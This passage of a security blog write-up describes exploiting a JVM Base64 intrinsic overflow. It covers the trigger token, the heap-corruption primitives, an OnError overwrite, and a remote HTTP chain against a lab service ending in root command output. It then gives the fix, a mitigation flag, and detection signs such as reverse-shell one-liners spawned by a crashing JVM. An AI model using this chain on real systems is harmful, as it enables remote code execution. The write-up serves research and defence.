specifically.) From a malformed Base64 string to arbitrary command execution, and at no point did
I call a single function that a code-review grep would flag. The scariest exploits are the ones
made entirely of innocent pieces.&lt;/p&gt;
&lt;p&gt;Finding &lt;code&gt;&amp;amp;OnError&lt;/code&gt;&amp;rsquo;s offset was its own grind. I wrote a little scanner that parsed the static
JVMFlag table out of libjvm and cross-checked it by launching with &lt;code&gt;-XX:OnError=&amp;lt;canary&amp;gt;&lt;/code&gt; and
reading the pointer back to confirm I had the right slot. Tedious, but a one-time cost per build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-6-the-difficulties-collected"&gt;Part 6: the difficulties, collected&lt;/h2&gt;
&lt;p&gt;The clean narrative above hides about three days of flailing. The honest list:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;You don&amp;rsquo;t control the overflow bytes.&lt;/strong&gt; The single biggest reframe. I wasted the first day
trying to write a chosen pointer before accepting the fill is fixed and pivoting to &amp;ldquo;smash a
length field with junk.&amp;rdquo; The lack of control is fine &lt;em&gt;if&lt;/em&gt; the thing you&amp;rsquo;re hitting only needs to
be big, not specific.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;One shot per JVM.&lt;/strong&gt; The C2 compiler &lt;em&gt;deoptimises and blacklists&lt;/em&gt; the decode method after it
sees the malformed input blow up enough times. After that it falls back to the safe scalar path
and the bug is gone until you restart the process. So you get roughly &lt;strong&gt;one reliable overflow per
JVM lifetime&lt;/strong&gt;. The entire exploit chain has to run off a &lt;em&gt;single&lt;/em&gt; trigger: you warm the
intrinsic, fire once, and do all your R/W through the corruption you already have. No &amp;ldquo;try
again.&amp;rdquo; This is the constraint that shapes everything; it&amp;rsquo;s why the groom has to be perfect
before you pull the trigger.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The GC eats your victim.&lt;/strong&gt; Early on my exploit worked maybe one run in five and I couldn&amp;rsquo;t see
why. It was a young-gen collection firing &lt;em&gt;between&lt;/em&gt; the corruption and my first read, relocating
(or tripping over) an array whose length now claimed to be 2.5 billion elements. The collector
tries to walk it and either moves my landmarks out from under me or dies. Fix: run with
effectively no GC (Epsilon) or a heap large enough that nothing collects during the ~millisecond
of the exploit. Suddenly it was five runs in five.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The aastore store-check fault&lt;/strong&gt; (Part 4). Touching a corrupted object as a &lt;em&gt;typed&lt;/em&gt; reference
array dereferences its smashed klass. Keep all typed operations on clean objects; treat the
smashed one as raw addresses only.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Getting the intrinsic to actually install under emulation.&lt;/strong&gt; Hours lost to an exploit that was
&amp;ldquo;correct&amp;rdquo; but silently running against the &lt;em&gt;scalar&lt;/em&gt; decoder because C2 never compiled the method
under SDE&amp;rsquo;s starved scheduler. &lt;code&gt;-Xbatch -XX:-TieredCompilation&lt;/code&gt; and an explicit warm-up loop
fixed it. Lesson: before trusting a SIMD-bug exploit, &lt;em&gt;prove the SIMD path is live&lt;/em&gt;. I added a
check that the first malformed token corrupts a throwaway array, and bailed loudly if it didn&amp;rsquo;t.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Build-specific constants.&lt;/strong&gt; The &lt;code&gt;VTABLE_OFFSET&lt;/code&gt; and &lt;code&gt;ONERROR_OFFSET&lt;/code&gt; values are nailed to one
exact JDK build. Point this at another build and you leak a pointer into the wrong place and
segfault for real. Every constant in the chain needs a &amp;ldquo;how I re-derive this&amp;rdquo; note, or future-me
is stuck.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="part-7-doing-it-over-the-network"&gt;Part 7: doing it over the network&lt;/h2&gt;
&lt;p&gt;Everything above I first proved &lt;em&gt;locally&lt;/em&gt;: a standalone Java program on the box, grooming its own
heap. The obvious objection to a local PoC is &amp;ldquo;so what, you already had code execution to run it.&amp;rdquo;
Fair. The real question is whether a &lt;em&gt;remote, HTTP-only&lt;/em&gt; attacker can do the same, because that&amp;rsquo;s
the actual threat.&lt;/p&gt;
&lt;p&gt;The original token service couldn&amp;rsquo;t be popped remotely, and it&amp;rsquo;s worth saying why clearly: it
decoded attacker Base64 (so the &lt;em&gt;corruption&lt;/em&gt; reproduces over the wire; I could prove the victim
array&amp;rsquo;s length smashes via the response), but it exposed &lt;strong&gt;no persistent, client-indexable object
to then read and write through&lt;/strong&gt;. You can break something you can&amp;rsquo;t subsequently touch. The crash
is remote; the primitive isn&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;So to show the full remote chain I stood up a second service, &lt;code&gt;MemCacheService&lt;/code&gt;, a deliberately
ordinary-looking &amp;ldquo;remote off-heap cache&amp;rdquo; that exposes exactly the surface a real vulnerable app
&lt;em&gt;would&lt;/em&gt;: decode a blob on &lt;code&gt;/session/open&lt;/code&gt;, and let the client &lt;code&gt;peek&lt;/code&gt;/&lt;code&gt;poke&lt;/code&gt; and &lt;code&gt;region get&lt;/code&gt;/&lt;code&gt;put&lt;/code&gt; its own session buffers by index. Nothing in it is a backdoor; every endpoint is the
kind of thing you&amp;rsquo;d write without a second thought. The corrupted array length is what quietly
turns &amp;ldquo;index your own cache&amp;rdquo; into &amp;ldquo;read and write my whole address space.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The remote exploit is then just the local chain, re-expressed as HTTP:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;POST /warm&lt;/code&gt; with a few thousand valid tokens → C2 compiles the shared decode helper, intrinsic
goes live.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /session/open&lt;/code&gt; with &lt;code&gt;&amp;quot;A&amp;quot;*64 + &amp;quot;=&amp;quot;&lt;/code&gt; → grooms &lt;code&gt;payload → meta → region → anchor&lt;/code&gt;
back-to-back and fires the overflow; the response hands back &lt;code&gt;meta.length&lt;/code&gt; so I can &lt;em&gt;see&lt;/em&gt; it&amp;rsquo;s
corrupted.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;peek&lt;/code&gt; the &lt;code&gt;anchor&lt;/code&gt; slot → narrow oop → &lt;code&gt;addrOf&lt;/code&gt;. &lt;code&gt;peek&lt;/code&gt; the mirror → &lt;code&gt;Klass*&lt;/code&gt; → vtable →
&lt;code&gt;libjvm_base&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;poke&lt;/code&gt; the DBB&amp;rsquo;s &lt;code&gt;address&lt;/code&gt; field, then &lt;code&gt;region/put&lt;/code&gt; my command string and overwrite &lt;code&gt;&amp;amp;OnError&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;region/get&lt;/code&gt; at a bad address → fatal error → &lt;code&gt;OnError&lt;/code&gt; runs my one-liner as the service
account. It starts a tiny one-shot callback server; the exploit opens one TCP connection to it
and confirms the command executed:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;################ REMOTE EXEC CONFIRMED ################
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; uid=0(root) gid=0(root) groups=0(root)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;########################################################
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pure HTTP in, command execution out, no shell on the box to begin with. Same bug, same chain,
just posted through a web server instead of a &lt;code&gt;main()&lt;/code&gt;. (Same caveat as before: &lt;code&gt;uid=0&lt;/code&gt; here only
because this lab service was started as root; the primitive gives you the service account, whatever
it is.) (One caveat baked into the design: the detonate step
&lt;em&gt;crashes the target JVM on purpose&lt;/em&gt;, since that&amp;rsquo;s how &lt;code&gt;OnError&lt;/code&gt; fires, so a successful run always
ends with the service dead. Re-run it and you get connection-refused until someone restarts the
service. That&amp;rsquo;s not a flaky exploit, it&amp;rsquo;s the exit condition.)&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-8-what-fixes-it-and-what-i-took-away"&gt;Part 8: what fixes it, and what I took away&lt;/h2&gt;
&lt;p&gt;The fix is unglamorous: the tail-length arithmetic in the intrinsic must be computed and masked so
it &lt;em&gt;can&amp;rsquo;t&lt;/em&gt; go negative, and a length ≡ 1 (mod 4) must reject exactly like the scalar path does.
Running with &lt;code&gt;-XX:-UseBASE64Intrinsics&lt;/code&gt; disables the stub entirely and makes the bug vanish, a
fine emergency mitigation if you&amp;rsquo;re stuck on a vulnerable build and happen to run on AVX-512
silicon. Patch the JDK properly when you can.&lt;/p&gt;
&lt;h3 id="if-youre-on-the-other-side-of-this"&gt;If you&amp;rsquo;re on the other side of this&lt;/h3&gt;
&lt;p&gt;Because the whole chain is built from innocent-looking pieces, there&amp;rsquo;s no single &lt;code&gt;Runtime.exec&lt;/code&gt;
to alert on. But the exploit is loud in other ways if you know where to look:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Malformed Base64 at volume.&lt;/strong&gt; The warm-up sends thousands of valid tokens, then the trigger is
a token whose length is &lt;code&gt;≡ 1 (mod 4)&lt;/code&gt; (e.g. 64 &lt;code&gt;A&lt;/code&gt;s + a single &lt;code&gt;=&lt;/code&gt;). A decode endpoint that
normally sees clean input suddenly taking a burst of &lt;code&gt;IllegalArgumentException&lt;/code&gt;-shaped tokens,
immediately followed by a crash, is the signature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The crash itself.&lt;/strong&gt; Successful exploitation &lt;em&gt;requires&lt;/em&gt; a fatal JVM error; it&amp;rsquo;s how &lt;code&gt;OnError&lt;/code&gt;
fires. An &lt;code&gt;hs_err_pid*.log&lt;/code&gt; / &lt;code&gt;core.*&lt;/code&gt; appearing right after that traffic, with a SIGSEGV in or
near the Base64 stub, is your smoking gun. Treat an unexplained JVM fatal error as a security
event, not just an availability one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;OnError&lt;/code&gt; executing a child process.&lt;/strong&gt; The payload runs as &lt;code&gt;/bin/sh -c &amp;quot;…&amp;quot;&lt;/code&gt; spawned by the
&lt;code&gt;java&lt;/code&gt; process &lt;em&gt;during a crash&lt;/em&gt;. A shell (or &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, a reverse-shell one-liner)
parented to a JVM that is simultaneously dying is about as abnormal as process trees get: easy
EDR win. Bonus: flag any JVM whose &lt;code&gt;OnError&lt;/code&gt; flag is set to something nobody put in the launch
config.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cheap hardening.&lt;/strong&gt; Don&amp;rsquo;t run the app as root (the whole &amp;ldquo;it came back as root&amp;rdquo; problem
evaporates). Keep decode endpoints behind auth. And on a vulnerable build you can&amp;rsquo;t patch yet,
&lt;code&gt;-XX:-UseBASE64Intrinsics&lt;/code&gt; closes the door outright.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The part that stays with me isn&amp;rsquo;t the pointer math, it&amp;rsquo;s the &lt;em&gt;shape&lt;/em&gt; of the thing. A SIMD
optimisation introduced a memory-safety bug into a memory-safe language, on a code path that only
exists on specific hardware, triggered by an input the &amp;ldquo;real&amp;rdquo; decoder rejects as garbage. It&amp;rsquo;s
invisible to review (the Java source is fine), invisible to most fuzzing (wrong CPU), and lands in
a method everyone considers boring and safe. Base64 decode. The quietest function in the standard
library.&lt;/p&gt;
&lt;p&gt;Check what your performance intrinsics do at the edges. That&amp;rsquo;s the whole lesson.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Written up from lab notes; all testing was authorized, on owned infrastructure.&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>